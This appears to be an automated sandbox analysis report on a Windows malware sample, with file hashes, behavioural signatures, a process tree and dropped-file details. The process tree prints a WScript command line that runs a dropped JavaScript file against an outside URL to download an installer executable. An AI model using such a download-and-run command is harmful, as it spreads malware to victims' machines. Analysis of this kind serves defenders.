Analysis
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max time kernel
93s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
13-06-2024 15:24
Static task
static1
Behavioral task
behavioral1
Sample
a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe
Resource
win10v2004-20240611-en
General
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Target
a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe
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Size
184KB
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MD5
a63dd5fd04e5d608c9968890e8223253
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SHA1
936b23e60a2b6950d5ba9298a67eb46a8cc0bb1d
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SHA256
4a400c212c2c636532aebd7a6602e47cfe1e2d33cb552f96c7f98786d88e384d
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SHA512
4489b36de8dd22f918b51fbdb00d935d2b1b4fdfdc50341ff13d2552173773d4723588178538db0c2027815b12f7eb06034cd079f1edebf52ee935c2d27d70e4
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3g:/7BSH8zUB+nGESaaRvoB7FJNndnp
Malware Config
Signatures
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Blocklisted process makes network request 7 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 3 3716 WScript.exe 18 2160 WScript.exe 19 2160 WScript.exe 21 3012 WScript.exe 22 3012 WScript.exe 34 4048 WScript.exe 36 1084 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000_Classes\Local Settings a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exedescription pid process target process PID 2952 wrote to memory of 3716 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 3716 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 3716 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 2160 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 2160 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 2160 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 3012 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 3012 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 3012 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 4048 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 4048 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 4048 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 1084 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 1084 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe PID 2952 wrote to memory of 1084 2952 a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe2⤵
- Blocklisted process makes network request
PID:3716 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe2⤵
- Blocklisted process makes network request
PID:2160 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe2⤵
- Blocklisted process makes network request
PID:3012 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe2⤵
- Blocklisted process makes network request
PID:4048 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe2⤵
- Blocklisted process makes network request
PID:1084
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\fuf4F58.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76